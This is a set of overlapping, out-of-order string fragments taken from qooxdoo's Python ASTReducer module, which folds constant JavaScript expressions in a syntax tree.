"value): if isinstance(value, types.StringTypes): valueNode.set(\"constantType\",\"string\") quotes, escaped_value = escape_quotes(value) valueNode.set(\"detail\", quotes) valueNode.set(\"value\", escaped_value)",
"pot. embedded quotes correspondingly. # (The string might result from a concat operation",
"evaluate the condition if operator == \"HOOK\" and hasattr(op1, 'evaluated'): nnode = self.operations[operator](op1.evaluated,",
"-*- coding: utf-8 -*- ################################################################################ # # qooxdoo - the new era of",
"################################################################################ # # qooxdoo - the new era of web development # #",
"= {\"true\":True, \"false\":False}[constvalue] elif consttype == \"null\": value = None if value!=(): node.evaluated",
"= expr_node return nnode def _visit_monadic(self, node, operator): op1 = node.children[0] nnode =",
"= symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated = evaluated return nnode ## #",
"elif operation=='+' and all([isinstance(x,types.StringTypes) for x in (op1,op2)]): result = operator.add(op1,op2) return result",
"node, operator): op1 = node.children[0] op2 = node.children[1] nnode = node if operator",
"nnode, is_empty = treeutil.inlineIfStatement(node, value, inPlace=False) return nnode ## # (group) def visit_group(self,",
"to recurse # anymore! def visit_constant(self, node): constvalue = node.get(\"value\") consttype = node.get(\"constantType\")",
"on 32-bit integers in JS operations['BITAND'] = operator.and_ operations['BITOR'] = operator.or_ operations['BITXOR'] =",
"node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated = evaluated return nnode def _visit_dyadic(self, node, operator): op1",
"# else: # fills = 0 # return ((op1 & 0xffffffff) >> op2)",
"strings, like 'fo\"o\"bar' + \"ba\"\\z\\\"boing\"). # def escape_quotes(s): quotes = 'singlequotes' # aribtrary",
"nnode = self._visit_triadic(node, operator) return nnode ## # IF def visit_loop(self, node): loop_type",
"# this has to come early, as isinstance(True, types.IntType) is also true! valueNode.set(\"constantType\",\"boolean\")",
"util ## # ASTReducer - newer approach: A general AST reducer # #",
"operations['BITAND'] = operator.and_ operations['BITOR'] = operator.or_ operations['BITXOR'] = operator.xor operations['BITNOT'] = operator.inv #",
"Internet AG, Germany, http://www.1und1.de # # License: # MIT: https://opensource.org/licenses/MIT # See the",
"nchilds: nnode.addChild(cld) # try reducing current node, might return a fresh symbol() if",
"operations['GE'] = operator.ge operations['NOT'] = operator.not_ operations['AND'] = lambda x,y: x and y",
"nnode ## # (group) def visit_group(self, node): nnode = node # can only",
"operation=='+': result = operator.add(op1,op2) elif operation=='-': result = operator.sub(op1,op2) # string '+' elif",
"operation that combined differently # quoted strings, like 'fo\"o\"bar' + \"ba\"\\z\\\"boing\"). # def",
"op2.evaluated) if evaluated!=(): nnode = symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated = evaluated",
"func.partial(opr, operator.mod) # Have to distinguish between prefix and infix +/- def opr(operation,",
"rsh) operations['RSH'] = func.partial(opr, operator.rshift) def ursh(op1, op2): op1 = (op1 & 0xffffffff)",
"type-specific methods don't need to recurse # anymore! def visit_constant(self, node): constvalue =",
"= self._visit_monadic(node, operator) elif arity == 2: nnode = self._visit_dyadic(node, operator) elif arity",
"valueNode.set(\"value\", \"null\") else: raise ValueError(\"Illegal value for JS constant: %s\" % str(value)) return",
"if sign: # fills = ((sign << op2) - 1) << (32 -",
"node.children[0] if hasattr(cond_node, \"evaluated\"): value = bool(cond_node.evaluated) nnode, is_empty = treeutil.inlineIfStatement(node, value, inPlace=False)",
"{\"true\":True, \"false\":False}[constvalue] elif consttype == \"null\": value = None if value!=(): node.evaluated =",
"# can only reduce \"(3)\" or \"('foo')\" or \"(true)\" etc. if len(node.children)==1: expr_node",
"# bit operations only operate on 32-bit integers in JS operations['BITAND'] = operator.and_",
"self.operations[operator](op1.evaluated) if evaluated!=(): nnode = symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated = evaluated",
"elif isinstance(value, types.FloatType): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"float\") valueNode.set(\"value\", str(value)) elif isinstance(value, types.NoneType): valueNode.set(\"constantType\",\"null\") valueNode.set(\"value\",",
"op2=()): result = () if isinstance(op1, types_Number): # prefix +/- if op2==(): if",
"# if sign: # fills = ((sign << op2) - 1) << (32",
"= self.operations[operator](op1.evaluated, op2.evaluated) if evaluated!=(): nnode = symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated",
"constvalue elif consttype == \"boolean\": value = {\"true\":True, \"false\":False}[constvalue] elif consttype == \"null\":",
"constdetail = node.get(\"detail\") if constdetail == \"int\": value = util.parseInt(constvalue) elif constdetail ==",
"for x in (op1, op2)]): return operation(op1, op2) else: return () operations['MUL'] =",
"Germany, http://www.1und1.de # # License: # MIT: https://opensource.org/licenses/MIT # See the LICENSE file",
"(types.IntType, types.LongType)): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"int\") valueNode.set(\"value\", str(value)) elif isinstance(value, types.FloatType): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"float\")",
"quotes) valueNode.set(\"value\", escaped_value) elif isinstance(value, types.BooleanType): # this has to come early, as",
"integers in JS operations['BITAND'] = operator.and_ operations['BITOR'] = operator.or_ operations['BITXOR'] = operator.xor operations['BITNOT']",
"= node.get(\"detail\") if constdetail == \"int\": value = util.parseInt(constvalue) elif constdetail == \"float\":",
"constvalue = node.get(\"value\") consttype = node.get(\"constantType\") value = () # the empty tuple",
"#operations['DEC'] -- only on vars! operations['EQ'] = operator.eq operations['SHEQ'] = operator.eq operations['NE'] =",
"arity == 1: nnode = self._visit_monadic(node, operator) elif arity == 2: nnode =",
"nnode = node if operator in self.operations: if operator in ['AND', 'OR'] and",
"= func.partial(opr, '-') #operations['INC'] -- only on vars! #operations['DEC'] -- only on vars!",
"= operator.le operations['GT'] = operator.gt operations['GE'] = operator.ge operations['NOT'] = operator.not_ operations['AND'] =",
"# try reducing current node, might return a fresh symbol() if hasattr(self, \"visit_\"+node.type):",
"= node nnode.children = [] for cld in nchilds: nnode.addChild(cld) # try reducing",
"def _visit_monadic(self, node, operator): op1 = node.children[0] nnode = node if hasattr(op1, \"evaluated\"):",
"return valueNode ## # Determine the quoting to be used on that string",
"= (op2 & 0x1f) # coerce to 0..31 return operation(op1,op2) operations['LSH'] = func.partial(opr,",
"evaluated = self.operations[operator](op1.evaluated, op2) nnode = op1 if evaluated==op1.evaluated else op2 elif all([hasattr(x,",
"(children first). # Carries .evaluated with nodes, to keep the Python value for",
"for chunk in chunks[:-1]: result.append(chunk) if not Scanner.is_last_escaped(chunk + \"'\"): result.append('\\\\') result.append(\"'\") result.append(chunks[-1])",
"in self.operations: evaluated = self.operations[operator](op1.evaluated) if evaluated!=(): nnode = symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode,",
"embedded quotes correspondingly. # (The string might result from a concat operation that",
"inPlace=False) return nnode ## # (group) def visit_group(self, node): nnode = node #",
"= node if operator in self.operations: # to evaluate HOOK, it is enough",
"indicates unevaluated if consttype == \"number\": constdetail = node.get(\"detail\") if constdetail == \"int\":",
".rshift does 0 fill operations['URSH'] = func.partial(opr, ursh) # ?: def opr(op1, op2,",
"evaluated) nnode.evaluated = evaluated return nnode def _visit_dyadic(self, node, operator): op1 = node.children[0]",
"operator.eq operations['NE'] = operator.ne operations['SHNE'] = operator.ne operations['LT'] = operator.lt operations['LE'] = operator.le",
"that combined differently # quoted strings, like 'fo\"o\"bar' + \"ba\"\\z\\\"boing\"). # def escape_quotes(s):",
"in self.operations: # to evaluate HOOK, it is enough to evaluate the condition",
"'evaluated'): nnode = self.operations[operator](op1.evaluated, op2, op3) return nnode ## # Take a Python",
"directory for details. # # Authors: # * <NAME> (thron7) # ################################################################################ ##",
"# prefix +/- if op2==(): if operation=='+': result = operator.pos(op1) elif operation=='-': result",
"= [] for child in node.children: nchild = self.visit(child) nchilds.append(nchild) nnode = node",
"A general AST reducer # # Computes new, pot. reduced tree. Does a",
"have their values when reducing current # node nchilds = [] for child",
"in 0..31 in JS def opr(operation, op1, op2): op2 = (op2 & 0x1f)",
"LICENSE file in the project's top-level directory for details. # # Authors: #",
"op2) # else: # fills = 0 # return ((op1 & 0xffffffff) >>",
"def visit_constant(self, node): constvalue = node.get(\"value\") consttype = node.get(\"constantType\") value = () #",
"cld in nchilds: nnode.addChild(cld) # try reducing current node, might return a fresh",
"must be in 0..31 in JS def opr(operation, op1, op2): op2 = (op2",
"in s: result = [] chunks = s.split(\"'\") for chunk in chunks[:-1]: result.append(chunk)",
"Scanner.is_last_escaped(chunk + \"'\"): result.append('\\\\') result.append(\"'\") result.append(chunks[-1]) result = u''.join(result) return quotes, result #",
"code ('singlequotes', # 'doublequotes'), and escape pot. embedded quotes correspondingly. # (The string",
"result # - --------------------------------------------------------------------------- def ast_reduce(node): reducer = ASTReducer(node) new_node = reducer.visit(node) return",
"elif isinstance(value, types.NoneType): valueNode.set(\"constantType\",\"null\") valueNode.set(\"value\", \"null\") else: raise ValueError(\"Illegal value for JS constant:",
"nnode = symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated = evaluated return nnode def",
"elif isinstance(value, (types.IntType, types.LongType)): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"int\") valueNode.set(\"value\", str(value)) elif isinstance(value, types.FloatType): valueNode.set(\"constantType\",\"number\")",
"# # Authors: # * <NAME> (thron7) # ################################################################################ ## # Reduce the",
"op2) - 1) << (32 - op2) # else: # fills = 0",
"new era of web development # # http://qooxdoo.org # # Copyright: # 2006-2013",
"quotes, result # - --------------------------------------------------------------------------- def ast_reduce(node): reducer = ASTReducer(node) new_node = reducer.visit(node)",
"= () # the empty tuple indicates unevaluated if consttype == \"number\": constdetail",
"| fills #operations['RSH'] = func.partial(opr, rsh) operations['RSH'] = func.partial(opr, operator.rshift) def ursh(op1, op2):",
"operations['SHNE'] = operator.ne operations['LT'] = operator.lt operations['LE'] = operator.le operations['GT'] = operator.gt operations['GE']",
"for JS constant: %s\" % str(value)) return valueNode ## # Determine the quoting",
"operator.rshift(op1, op2) # Python .rshift does 0 fill operations['URSH'] = func.partial(opr, ursh) #",
"# def set_node_type_from_value(valueNode, value): if isinstance(value, types.StringTypes): valueNode.set(\"constantType\",\"string\") quotes, escaped_value = escape_quotes(value) valueNode.set(\"detail\",",
"return () operations['MUL'] = func.partial(opr, operator.mul) operations['DIV'] = func.partial(opr, operator.truediv) operations['MOD'] = func.partial(opr,",
"License: # MIT: https://opensource.org/licenses/MIT # See the LICENSE file in the project's top-level",
"operations['LT'] = operator.lt operations['LE'] = operator.le operations['GT'] = operator.gt operations['GE'] = operator.ge operations['NOT']",
"operations['BITOR'] = operator.or_ operations['BITXOR'] = operator.xor operations['BITNOT'] = operator.inv # second shift operand",
"nodes, to keep the Python value for a tree/contant # node, for easier",
"- op2) # else: # fills = 0 # return ((op1 & 0xffffffff)",
"ursh(op1, op2): op1 = (op1 & 0xffffffff) # coerce to 32-bit int return",
"'evaluated'): # short-circuit ops evaluated = self.operations[operator](op1.evaluated, op2) nnode = op1 if evaluated==op1.evaluated",
"operator.le operations['GT'] = operator.gt operations['GE'] = operator.ge operations['NOT'] = operator.not_ operations['AND'] = lambda",
"and y operations['OR'] = lambda x,y: x or y # bit operations only",
"distinguish between prefix and infix +/- def opr(operation, op1, op2=()): result = ()",
"\"evaluated\"): value = bool(cond_node.evaluated) nnode, is_empty = treeutil.inlineIfStatement(node, value, inPlace=False) return nnode ##",
"visit_group(self, node): nnode = node # can only reduce \"(3)\" or \"('foo')\" or",
"init a constant node with it, setting the node's \"constantType\" # def set_node_type_from_value(valueNode,",
"# http://bit.ly/13v4Adq # sign = (op1 >> 31) & 1 # if sign:",
"operations['BITNOT'] = operator.inv # second shift operand must be in 0..31 in JS",
"# Authors: # * <NAME> (thron7) # ################################################################################ ## # Reduce the value",
"operation=='-': result = operator.neg(op1) elif isinstance(op2, types_Number): if operation=='+': result = operator.add(op1,op2) elif",
"= node.get(\"operator\") arity = len(node.children) if arity == 1: nnode = self._visit_monadic(node, operator)",
"operator.lshift) #def rsh(op1, op2): # http://bit.ly/13v4Adq # sign = (op1 >> 31) &",
"operator == \"HOOK\" and hasattr(op1, 'evaluated'): nnode = self.operations[operator](op1.evaluated, op2, op3) return nnode",
"else: raise ValueError(\"Illegal value for JS constant: %s\" % str(value)) return valueNode ##",
"(op1, op2)]): evaluated = self.operations[operator](op1.evaluated, op2.evaluated) if evaluated!=(): nnode = symbol(\"constant\")( node.get(\"line\"), node.get(\"column\"))",
"valueNode.set(\"detail\", \"int\") valueNode.set(\"value\", str(value)) elif isinstance(value, types.FloatType): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"float\") valueNode.set(\"value\", str(value)) elif",
"escaping if \"'\" in s: result = [] chunks = s.split(\"'\") for chunk",
"= node.children[0] op2 = node.children[1] nnode = node if operator in self.operations: if",
"= node if operator in self.operations: if operator in ['AND', 'OR'] and hasattr(op1,",
"op2 if bool(op1) else op3 operations['HOOK'] = opr return operations # end:_init_operations def",
"must have been evaluated by pre-order nnode = expr_node return nnode def _visit_monadic(self,",
"node, for easier operations, checking for hasattr() to determine # evaluated-ness. class ASTReducer(treeutil.NodeVisitor):",
"\"string\": value = constvalue elif consttype == \"boolean\": value = {\"true\":True, \"false\":False}[constvalue] elif",
"if operator in self.operations: # to evaluate HOOK, it is enough to evaluate",
"- Due to pre-order recursion, type-specific methods don't need to recurse # anymore!",
"result = operator.add(op1,op2) return result operations['ADD'] = func.partial(opr, '+') operations['SUB'] = func.partial(opr, '-')",
"is enough to evaluate the condition if operator == \"HOOK\" and hasattr(op1, 'evaluated'):",
"util.parseInt(constvalue) elif constdetail == \"float\": value = float(constvalue) elif consttype == \"string\": value",
"Have to distinguish between prefix and infix +/- def opr(operation, op1, op2=()): result",
"expr_node.type == 'constant': # must have been evaluated by pre-order nnode = expr_node",
"first). # Carries .evaluated with nodes, to keep the Python value for a",
"types.LongType, types.FloatType, types.BooleanType) def opr(operation, op1, op2): if all([isinstance(x, types_Number) for x in",
"approach: A general AST reducer # # Computes new, pot. reduced tree. Does",
"nnode.children = [] for cld in nchilds: nnode.addChild(cld) # try reducing current node,",
"in JS def opr(operation, op1, op2): op2 = (op2 & 0x1f) # coerce",
"= func.partial(opr, ursh) # ?: def opr(op1, op2, op3): return op2 if bool(op1)",
"32-bit integers in JS operations['BITAND'] = operator.and_ operations['BITOR'] = operator.or_ operations['BITXOR'] = operator.xor",
"nnode = self._visit_monadic(node, operator) elif arity == 2: nnode = self._visit_dyadic(node, operator) elif",
"3: nnode = self._visit_triadic(node, operator) return nnode ## # IF def visit_loop(self, node):",
"operations only operate on 32-bit integers in JS operations['BITAND'] = operator.and_ operations['BITOR'] =",
"self._visit_triadic(node, operator) return nnode ## # IF def visit_loop(self, node): loop_type = node.get(\"loopType\")",
"x in (op1, op2)]): return operation(op1, op2) else: return () operations['MUL'] = func.partial(opr,",
"don't need to recurse # anymore! def visit_constant(self, node): constvalue = node.get(\"value\") consttype",
"node's \"constantType\" # def set_node_type_from_value(valueNode, value): if isinstance(value, types.StringTypes): valueNode.set(\"constantType\",\"string\") quotes, escaped_value =",
"determine # evaluated-ness. class ASTReducer(treeutil.NodeVisitor): def __init__(self, root_node): super(ASTReducer, self).__init__() self.root_node = root_node",
"set_node_type_from_value(nnode, evaluated) nnode.evaluated = evaluated return nnode def _visit_dyadic(self, node, operator): op1 =",
"= symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated = evaluated return nnode def _visit_dyadic(self,",
"in (op1,op2)]): result = operator.add(op1,op2) return result operations['ADD'] = func.partial(opr, '+') operations['SUB'] =",
"- newer approach: A general AST reducer # # Computes new, pot. reduced",
"op1, op2): op2 = (op2 & 0x1f) # coerce to 0..31 return operation(op1,op2)",
"opr(op1, op2, op3): return op2 if bool(op1) else op3 operations['HOOK'] = opr return",
"ops evaluated = self.operations[operator](op1.evaluated, op2) nnode = op1 if evaluated==op1.evaluated else op2 elif",
"value return node def visit_operation(self, node): operator = node.get(\"operator\") arity = len(node.children) if",
"opr(operation, op1, op2): if all([isinstance(x, types_Number) for x in (op1, op2)]): return operation(op1,",
"op2): # http://bit.ly/13v4Adq # sign = (op1 >> 31) & 1 # if",
"from ecmascript.frontend import Scanner from misc import util ## # ASTReducer - newer",
"node.children[0] op2 = node.children[1] op3 = node.children[2] nnode = node if operator in",
"operations['AND'] = lambda x,y: x and y operations['OR'] = lambda x,y: x or",
"return ((op1 & 0xffffffff) >> op2) | fills #operations['RSH'] = func.partial(opr, rsh) operations['RSH']",
"op2 = node.children[1] nnode = node if operator in self.operations: if operator in",
"return nnode ## # Take a Python value and init a constant node",
"float(constvalue) elif consttype == \"string\": value = constvalue elif consttype == \"boolean\": value",
"isinstance(value, types.BooleanType): # this has to come early, as isinstance(True, types.IntType) is also",
"types_Number): # prefix +/- if op2==(): if operation=='+': result = operator.pos(op1) elif operation=='-':",
"by pre-order nnode = expr_node return nnode def _visit_monadic(self, node, operator): op1 =",
"like 'fo\"o\"bar' + \"ba\"\\z\\\"boing\"). # def escape_quotes(s): quotes = 'singlequotes' # aribtrary choice",
"differently # quoted strings, like 'fo\"o\"bar' + \"ba\"\\z\\\"boing\"). # def escape_quotes(s): quotes =",
"http://www.1und1.de # # License: # MIT: https://opensource.org/licenses/MIT # See the LICENSE file in",
"op2 = (op2 & 0x1f) # coerce to 0..31 return operation(op1,op2) operations['LSH'] =",
"operations, checking for hasattr() to determine # evaluated-ness. class ASTReducer(treeutil.NodeVisitor): def __init__(self, root_node):",
"Take a Python value and init a constant node with it, setting the",
"recursion (children first). # Carries .evaluated with nodes, to keep the Python value",
"opr(operation, op1, op2=()): result = () if isinstance(op1, types_Number): # prefix +/- if",
"to have their values when reducing current # node nchilds = [] for",
"result = s # only if we have embedded quotes we have to",
"hasattr(op1, 'evaluated'): # short-circuit ops evaluated = self.operations[operator](op1.evaluated, op2) nnode = op1 if",
"= root_node self.operations = self._init_operations() def _init_operations(self): operations = {} types_Number = (types.IntType,",
"?: def opr(op1, op2, op3): return op2 if bool(op1) else op3 operations['HOOK'] =",
"condition if operator == \"HOOK\" and hasattr(op1, 'evaluated'): nnode = self.operations[operator](op1.evaluated, op2, op3)",
"func.partial(opr, operator.rshift) def ursh(op1, op2): op1 = (op1 & 0xffffffff) # coerce to",
"consttype == \"null\": value = None if value!=(): node.evaluated = value return node",
"node.children[1] op3 = node.children[2] nnode = node if operator in self.operations: # to",
"if operator in ['AND', 'OR'] and hasattr(op1, 'evaluated'): # short-circuit ops evaluated =",
"op2): if all([isinstance(x, types_Number) for x in (op1, op2)]): return operation(op1, op2) else:",
"# See the LICENSE file in the project's top-level directory for details. #",
"the new era of web development # # http://qooxdoo.org # # Copyright: #",
"HOOK def _visit_triadic(self, node, operator): op1 = node.children[0] op2 = node.children[1] op3 =",
">> op2) | fills #operations['RSH'] = func.partial(opr, rsh) operations['RSH'] = func.partial(opr, operator.rshift) def",
"nnode = getattr(self, \"visit_\"+node.type)(nnode) return nnode # - Due to pre-order recursion, type-specific",
"= operator.or_ operations['BITXOR'] = operator.xor operations['BITNOT'] = operator.inv # second shift operand must",
"# Have to distinguish between prefix and infix +/- def opr(operation, op1, op2=()):",
"nnode = node nnode.children = [] for cld in nchilds: nnode.addChild(cld) # try",
"try reducing current node, might return a fresh symbol() if hasattr(self, \"visit_\"+node.type): nnode",
"node): nnode = node # can only reduce \"(3)\" or \"('foo')\" or \"(true)\"",
"## # Take a Python value and init a constant node with it,",
"Determine the quoting to be used on that string in code ('singlequotes', #",
"constdetail == \"float\": value = float(constvalue) elif consttype == \"string\": value = constvalue",
"= node if hasattr(op1, \"evaluated\"): if operator in self.operations: evaluated = self.operations[operator](op1.evaluated) if",
"else op3 operations['HOOK'] = opr return operations # end:_init_operations def visit(self, node): #",
"# - --------------------------------------------------------------------------- def ast_reduce(node): reducer = ASTReducer(node) new_node = reducer.visit(node) return new_node",
"[] for cld in nchilds: nnode.addChild(cld) # try reducing current node, might return",
"result = [] chunks = s.split(\"'\") for chunk in chunks[:-1]: result.append(chunk) if not",
"rsh(op1, op2): # http://bit.ly/13v4Adq # sign = (op1 >> 31) & 1 #",
"= evaluated return nnode ## # HOOK def _visit_triadic(self, node, operator): op1 =",
"nnode ## # IF def visit_loop(self, node): loop_type = node.get(\"loopType\") nnode = node",
"fills = ((sign << op2) - 1) << (32 - op2) # else:",
"Authors: # * <NAME> (thron7) # ################################################################################ ## # Reduce the value of",
"x or y # bit operations only operate on 32-bit integers in JS",
"# # Computes new, pot. reduced tree. Does a post-order recursion (children first).",
"super(ASTReducer, self).__init__() self.root_node = root_node self.operations = self._init_operations() def _init_operations(self): operations = {}",
"return op2 if bool(op1) else op3 operations['HOOK'] = opr return operations # end:_init_operations",
"[] chunks = s.split(\"'\") for chunk in chunks[:-1]: result.append(chunk) if not Scanner.is_last_escaped(chunk +",
"types_Number): if operation=='+': result = operator.add(op1,op2) elif operation=='-': result = operator.sub(op1,op2) # string",
"elif consttype == \"string\": value = constvalue elif consttype == \"boolean\": value =",
"'-') #operations['INC'] -- only on vars! #operations['DEC'] -- only on vars! operations['EQ'] =",
"nnode # - Due to pre-order recursion, type-specific methods don't need to recurse",
"op2)]): return operation(op1, op2) else: return () operations['MUL'] = func.partial(opr, operator.mul) operations['DIV'] =",
"Due to pre-order recursion, type-specific methods don't need to recurse # anymore! def",
"= node.children[0] op2 = node.children[1] op3 = node.children[2] nnode = node if operator",
"hasattr(self, \"visit_\"+node.type): nnode = getattr(self, \"visit_\"+node.type)(nnode) return nnode # - Due to pre-order",
"and infix +/- def opr(operation, op1, op2=()): result = () if isinstance(op1, types_Number):",
"all([isinstance(x, types_Number) for x in (op1, op2)]): return operation(op1, op2) else: return ()",
"valueNode.set(\"value\", escaped_value) elif isinstance(value, types.BooleanType): # this has to come early, as isinstance(True,",
"= operator.lt operations['LE'] = operator.le operations['GT'] = operator.gt operations['GE'] = operator.ge operations['NOT'] =",
"# second shift operand must be in 0..31 in JS def opr(operation, op1,",
"\"IF\": cond_node = node.children[0] if hasattr(cond_node, \"evaluated\"): value = bool(cond_node.evaluated) nnode, is_empty =",
"= escape_quotes(value) valueNode.set(\"detail\", quotes) valueNode.set(\"value\", escaped_value) elif isinstance(value, types.BooleanType): # this has to",
"result.append(chunk) if not Scanner.is_last_escaped(chunk + \"'\"): result.append('\\\\') result.append(\"'\") result.append(chunks[-1]) result = u''.join(result) return",
"to distinguish between prefix and infix +/- def opr(operation, op1, op2=()): result =",
"result.append(\"'\") result.append(chunks[-1]) result = u''.join(result) return quotes, result # - --------------------------------------------------------------------------- def ast_reduce(node):",
"\"false\":False}[constvalue] elif consttype == \"null\": value = None if value!=(): node.evaluated = value",
"+ \"'\"): result.append('\\\\') result.append(\"'\") result.append(chunks[-1]) result = u''.join(result) return quotes, result # -",
"isinstance(value, types.NoneType): valueNode.set(\"constantType\",\"null\") valueNode.set(\"value\", \"null\") else: raise ValueError(\"Illegal value for JS constant: %s\"",
"## # (group) def visit_group(self, node): nnode = node # can only reduce",
"'evaluated') for x in (op1, op2)]): evaluated = self.operations[operator](op1.evaluated, op2.evaluated) if evaluated!=(): nnode",
"== \"HOOK\" and hasattr(op1, 'evaluated'): nnode = self.operations[operator](op1.evaluated, op2, op3) return nnode ##",
"types, operator, functools as func from ecmascript.frontend import treeutil, treegenerator from ecmascript.frontend.treegenerator import",
"operator.rshift) def ursh(op1, op2): op1 = (op1 & 0xffffffff) # coerce to 32-bit",
"= evaluated return nnode def _visit_dyadic(self, node, operator): op1 = node.children[0] op2 =",
"__init__(self, root_node): super(ASTReducer, self).__init__() self.root_node = root_node self.operations = self._init_operations() def _init_operations(self): operations",
"operations['DIV'] = func.partial(opr, operator.truediv) operations['MOD'] = func.partial(opr, operator.mod) # Have to distinguish between",
"# fills = ((sign << op2) - 1) << (32 - op2) #",
"MIT: https://opensource.org/licenses/MIT # See the LICENSE file in the project's top-level directory for",
"the condition if operator == \"HOOK\" and hasattr(op1, 'evaluated'): nnode = self.operations[operator](op1.evaluated, op2,",
"<gh_stars>1-10 #!/usr/bin/env python # -*- coding: utf-8 -*- ################################################################################ # # qooxdoo -",
"reduced tree. Does a post-order recursion (children first). # Carries .evaluated with nodes,",
"1 # if sign: # fills = ((sign << op2) - 1) <<",
"of a syntax tree (expression). ## import os, sys, re, types, operator, functools",
"in node.children: nchild = self.visit(child) nchilds.append(nchild) nnode = node nnode.children = [] for",
"def _visit_dyadic(self, node, operator): op1 = node.children[0] op2 = node.children[1] nnode = node",
"operator) elif arity == 3: nnode = self._visit_triadic(node, operator) return nnode ## #",
"operator) return nnode ## # IF def visit_loop(self, node): loop_type = node.get(\"loopType\") nnode",
"op2) | fills #operations['RSH'] = func.partial(opr, rsh) operations['RSH'] = func.partial(opr, operator.rshift) def ursh(op1,",
"the value of a syntax tree (expression). ## import os, sys, re, types,",
"node if loop_type == \"IF\": cond_node = node.children[0] if hasattr(cond_node, \"evaluated\"): value =",
"if evaluated==op1.evaluated else op2 elif all([hasattr(x, 'evaluated') for x in (op1, op2)]): evaluated",
"on that string in code ('singlequotes', # 'doublequotes'), and escape pot. embedded quotes",
"operations = {} types_Number = (types.IntType, types.LongType, types.FloatType, types.BooleanType) def opr(operation, op1, op2):",
"new, pot. reduced tree. Does a post-order recursion (children first). # Carries .evaluated",
"string '+' elif operation=='+' and all([isinstance(x,types.StringTypes) for x in (op1,op2)]): result = operator.add(op1,op2)",
"bit operations only operate on 32-bit integers in JS operations['BITAND'] = operator.and_ operations['BITOR']",
"node.get(\"value\") consttype = node.get(\"constantType\") value = () # the empty tuple indicates unevaluated",
"= node.children[0] if expr_node.type == 'constant': # must have been evaluated by pre-order",
"## # Determine the quoting to be used on that string in code",
"value for JS constant: %s\" % str(value)) return valueNode ## # Determine the",
"\"HOOK\" and hasattr(op1, 'evaluated'): nnode = self.operations[operator](op1.evaluated, op2, op3) return nnode ## #",
"valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"float\") valueNode.set(\"value\", str(value)) elif isinstance(value, types.NoneType): valueNode.set(\"constantType\",\"null\") valueNode.set(\"value\", \"null\") else: raise",
"might return a fresh symbol() if hasattr(self, \"visit_\"+node.type): nnode = getattr(self, \"visit_\"+node.type)(nnode) return",
"with it, setting the node's \"constantType\" # def set_node_type_from_value(valueNode, value): if isinstance(value, types.StringTypes):",
"func from ecmascript.frontend import treeutil, treegenerator from ecmascript.frontend.treegenerator import symbol from ecmascript.frontend import",
"if op2==(): if operation=='+': result = operator.pos(op1) elif operation=='-': result = operator.neg(op1) elif",
"nnode = self._visit_dyadic(node, operator) elif arity == 3: nnode = self._visit_triadic(node, operator) return",
"nnode = node # can only reduce \"(3)\" or \"('foo')\" or \"(true)\" etc.",
"(The string might result from a concat operation that combined differently # quoted",
"syntax tree (expression). ## import os, sys, re, types, operator, functools as func",
"children, to have their values when reducing current # node nchilds = []",
"if isinstance(op1, types_Number): # prefix +/- if op2==(): if operation=='+': result = operator.pos(op1)",
"= 0 # return ((op1 & 0xffffffff) >> op2) | fills #operations['RSH'] =",
"the LICENSE file in the project's top-level directory for details. # # Authors:",
"== \"number\": constdetail = node.get(\"detail\") if constdetail == \"int\": value = util.parseInt(constvalue) elif",
"unevaluated if consttype == \"number\": constdetail = node.get(\"detail\") if constdetail == \"int\": value",
"loop_type = node.get(\"loopType\") nnode = node if loop_type == \"IF\": cond_node = node.children[0]",
"http://qooxdoo.org # # Copyright: # 2006-2013 1&1 Internet AG, Germany, http://www.1und1.de # #",
"tree (expression). ## import os, sys, re, types, operator, functools as func from",
"== \"null\": value = None if value!=(): node.evaluated = value return node def",
"recursion, type-specific methods don't need to recurse # anymore! def visit_constant(self, node): constvalue",
"era of web development # # http://qooxdoo.org # # Copyright: # 2006-2013 1&1",
"return operation(op1, op2) else: return () operations['MUL'] = func.partial(opr, operator.mul) operations['DIV'] = func.partial(opr,",
"result = operator.neg(op1) elif isinstance(op2, types_Number): if operation=='+': result = operator.add(op1,op2) elif operation=='-':",
"opr(operation, op1, op2): op2 = (op2 & 0x1f) # coerce to 0..31 return",
"= func.partial(opr, operator.truediv) operations['MOD'] = func.partial(opr, operator.mod) # Have to distinguish between prefix",
"elif constdetail == \"float\": value = float(constvalue) elif consttype == \"string\": value =",
"= node.children[1] nnode = node if operator in self.operations: if operator in ['AND',",
"also true! valueNode.set(\"constantType\",\"boolean\") valueNode.set(\"value\", str(value).lower()) elif isinstance(value, (types.IntType, types.LongType)): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"int\") valueNode.set(\"value\",",
"recurse # anymore! def visit_constant(self, node): constvalue = node.get(\"value\") consttype = node.get(\"constantType\") value",
"# node, for easier operations, checking for hasattr() to determine # evaluated-ness. class",
"operand must be in 0..31 in JS def opr(operation, op1, op2): op2 =",
"(op1, op2)]): return operation(op1, op2) else: return () operations['MUL'] = func.partial(opr, operator.mul) operations['DIV']",
"Copyright: # 2006-2013 1&1 Internet AG, Germany, http://www.1und1.de # # License: # MIT:",
"if arity == 1: nnode = self._visit_monadic(node, operator) elif arity == 2: nnode",
"## # HOOK def _visit_triadic(self, node, operator): op1 = node.children[0] op2 = node.children[1]",
"utf-8 -*- ################################################################################ # # qooxdoo - the new era of web development",
"(op1 >> 31) & 1 # if sign: # fills = ((sign <<",
"be in 0..31 in JS def opr(operation, op1, op2): op2 = (op2 &",
"len(node.children) if arity == 1: nnode = self._visit_monadic(node, operator) elif arity == 2:",
